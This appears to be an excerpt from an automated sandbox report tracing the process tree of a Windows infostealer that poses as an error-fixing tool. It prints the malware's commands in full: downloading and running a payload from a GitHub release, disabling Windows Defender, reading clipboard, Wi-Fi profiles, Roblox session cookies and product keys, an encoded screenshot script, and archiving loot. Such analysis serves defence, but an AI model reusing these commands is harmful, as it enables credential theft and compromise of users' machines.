        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5832
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        6⤵
        
        PID:3336
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        7⤵
        Detects videocard installed
        
        PID:5924
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        6⤵
        
        PID:5400
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        7⤵
        
        PID:5968
- - C:\Windows\system32\timeout.exe
    timeout /t 10
    3⤵
    - Delays execution with timeout.exe
    PID:4064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Write-Host 'Scanning for errors...' -ForegroundColor Yellow"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6120
- - C:\Windows\system32\timeout.exe
    timeout /t 10
    3⤵
    - Delays execution with timeout.exe
    PID:4092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Write-Host '20 critical errors found...' -ForegroundColor Red"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5188
- - C:\Windows\system32\timeout.exe
    timeout /t 15
    3⤵
    - Delays execution with timeout.exe
    PID:492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Write-Host 'Attempting to fix errors. Do not close the terminal or turn off the PC to avoid complications...' -ForegroundColor Yellow"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:956
- - C:\Windows\system32\timeout.exe
    timeout /t 60
    3⤵
    - Delays execution with timeout.exe
    PID:5344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Write-Host 'Troubleshoot process completed successfully....' -ForegroundColor Green"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4056
- - C:\Windows\system32\timeout.exe
    timeout /t 05
    3⤵
    - Delays execution with timeout.exe
    PID:1968
- C:\Windows\System32\NOTEPAD.EXE
  "C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Downloads\wtc.cmd
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2268
- C:\Windows\SysWOW64\cmd.exe
  cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\Admin\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
  2⤵
  - Drops startup file
  - System Location Discovery: System Language Discovery
  PID:868
- C:\Users\Public\jsc.exe
  C:\Users\Public\jsc.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:3568
- C:\l\wts.exe
  "C:\l\wts.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1040
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri "https://github.com/newbigs/newintsh/releases/download/v1/jCLjDWsLU" -OutFile "C:\Users\Public\Guard.exe""
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    PID:5144
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    PID:3024
  - - C:\Users\Public\Guard.exe
      "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:5408
- C:\l\winb.exe
  "C:\l\winb.exe"
  2⤵
  - Executes dropped EXE
  PID:5328
- - C:\l\winb.exe
    "C:\l\winb.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1720
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\l\winb.exe'"
      4⤵
      PID:4644
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\l\winb.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:224
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
      4⤵
      PID:1628
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1268
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('.', 0, 'windows', 48+16);close()""
      4⤵
      PID:5564
    - - C:\Windows\system32\mshta.exe
        
        mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('.', 0, 'windows', 48+16);close()"
        5⤵
        
        PID:4180
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
      4⤵
      PID:5468
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:384
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      PID:1768
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        
        PID:3224
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      PID:2156
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        
        PID:5640
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
      4⤵
      PID:5400
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        5⤵
        
        PID:5184
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
      4⤵
      Clipboard Data
      PID:956
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:5044
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      PID:2128
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        
        PID:4956
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:1204
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:3340
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:5416
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4716
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "systeminfo"
      4⤵
      PID:1340
    - - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        5⤵
        Gathers system information
        
        PID:4752
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
      4⤵
      PID:3236
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        5⤵
        
        PID:1124
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fwxy4hzl\fwxy4hzl.cmdline"
        6⤵
        
        PID:2972
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCF9F.tmp" "c:\Users\Admin\AppData\Local\Temp\fwxy4hzl\CSC2D71887A24714901A3C52D819B60CEFE.TMP"
        7⤵
        
        PID:5132
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:5256
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:2132
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:5176
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:1504
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:4996
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:2344
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:5772
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:2840
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:1664
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:3104
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
      4⤵
      PID:3788
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3424
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
      4⤵
      PID:4140
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        
        PID:3212
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "getmac"
      4⤵
      PID:5876
    - - C:\Windows\system32\getmac.exe
        
        getmac
        5⤵
        
        PID:5180
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI53282\rar.exe a -r -hp"newgen" "C:\Users\Admin\AppData\Local\Temp\4H6r3.zip" *"
      4⤵
      PID:5204
    - - C:\Users\Admin\AppData\Local\Temp\_MEI53282\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI53282\rar.exe a -r -hp"newgen" "C:\Users\Admin\AppData\Local\Temp\4H6r3.zip" *
        5⤵
        Executes dropped EXE
        
        PID:3744
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic os get Caption"
      4⤵
      PID:5740
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        5⤵
        
        PID:5692
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
      4⤵
      PID:5428
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        5⤵
        
        PID:5212
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      PID:4984
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:2148
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
      4⤵
      PID:3236
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5732
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
      4⤵
      PID:5512
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:3976
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
      4⤵
      PID:6016
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        5⤵
        
        PID:1344
- C:\l\wts.exe
  "C:\l\wts.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:5348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri "https://github.com/newbigs/newintsh/releases/download/v1/jCLjDWsLU" -OutFile "C:\Users\Public\Guard.exe""
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    PID:5808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    PID:4936
  - - C:\Users\Public\Guard.exe
      "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:5144
- C:\Users\Admin\AppData\Local\Temp\Temp1_winup.zip\wts.exe
  "C:\Users\Admin\AppData\Local\Temp\Temp1_winup.zip\wts.exe"
  2⤵
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2668
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri "https://github.com/newbigs/newintsh/releases/download/v1/jCLjDWsLU" -OutFile "C:\Users\Public\Guard.exe""
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    PID:1136
